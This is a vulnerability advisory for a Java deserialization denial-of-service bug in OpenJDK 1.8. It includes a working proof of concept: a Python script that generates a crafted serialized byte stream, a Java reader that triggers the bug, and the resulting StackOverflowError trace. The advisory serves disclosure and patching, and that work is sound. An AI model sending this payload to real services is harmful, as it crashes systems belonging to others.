[ERPSCAN-17-006] Oracle OpenJDK – Java Serialization DoS vulnerability
Application: Oracle OpenJDK
Vendor: Oracle
Bug: DoS
Reported: 23.12.2016
Vendor response: 24.12.2016
Date of Public Advisory: 17.01.2017
Reference: Oracle CPU Jan 2017
Authors: Roman Shalymov
VULNERABILITY INFORMATION
Class: Denial of Service
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVSS Information
CVSS Base Vector:
AV: Attack Vector (Related exploit range) | Network (N) |
AC: Attack Complexity (Required attack complexity) | High (H) |
PR: Privileges Required (Level of privileges needed to exploit) | None (N) |
UI: User Interaction (Required user participation) | None (N) |
S: Scope (Change in scope due to impact caused to components beyond the vulnerable component) | Changed(C) |
C: Impact to Confidentiality | High(H) |
I: Impact to Integrity | High (H) |
A: Impact to Availability | High (H) |
VULNERABILITY DESCRIPTION
An attacker can cause DoS of the application which uses OpenJDK Runtime Environment 1.8 as its core runtime engine.
VULNERABLE PACKAGES
OpenJDK Runtime Environment build 1.8.0_112-b15
SOLUTIONS AND WORKAROUNDS
Fix ObjectInputStream.skipCustomData()
method, namely readObject0(false);
call in switch statement.
TECHNICAL DESCRIPTION
An attacker can craft a malicious sequence of bytes that will cause JVM StackOverflowError
in the standard Java deserialization process if it uses ObjectInputStream.readObject()
method.
Proof of Concept
An attacker creates malicious sequence of bytes, for example, using this python script pwn_ser.py
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
#!/usr/bin/env python2 import sys exp = "" #serialization header exp += '\xac\xed\x00\x05' exp1 = '' exp1 += '\x72' exp1 += '\x00\x0c'+'java.io.File' exp1 += '\x41'*8 exp1 += '\x00' exp1 += '\x00\x00' exp += exp1 * 10000 sys.stdout.write(exp) |
and save it in exp2.ser
file
1 |
$ ./pwn_ser2.py > exp2.ser |
Let’s simulate deserialization process. For this purpose, we create a simple Java program, which uses the following standard deserialization pattern:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
Serialize_read.java import java.io.FileInputStream; import java.io.ObjectInputStream; public class Serialize_read { public static void main(String args[]) throws Exception { if(args.length < 1) { System.out.println("usage: "+Serialize_read.class.getSimpleName()+" [file]"); System.exit(-1); } FileInputStream fin = new FileInputStream(args[0]); ObjectInputStream oin = new ObjectInputStream(fin); try { Object objFromDisk = oin.readObject(); String s = (String)objFromDisk; System.out.println(s); System.out.println("Successfully read!"); }catch(Exception e){} System.exit(0); } } |
Let’s try to read our malicious file (we can also simulate this stuff over network communication):
1 2 |
$ javac Serialize_read.java $ java Serialize_read exp2.ser |
It causes the following error dump:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
Exception in thread "main" java.lang.StackOverflowError at java.io.ObjectInputStream$PeekInputStream.readFully(ObjectInputStream.java:2351) at java.io.ObjectInputStream$BlockDataInputStream.readUnsignedShort(ObjectInputStream.java:2834) at java.io.ObjectInputStream$BlockDataInputStream.readUTF(ObjectInputStream.java:2892) at java.io.ObjectInputStream.readUTF(ObjectInputStream.java:1075) at java.io.ObjectStreamClass.readNonProxy(ObjectStreamClass.java:684) at java.io.ObjectInputStream.readClassDescriptor(ObjectInputStream.java:833) at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1609) at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340) at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984) at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628) at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340) ... at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984) at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628) at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340) at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984) at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628) at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340) at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984) at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628) at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521) |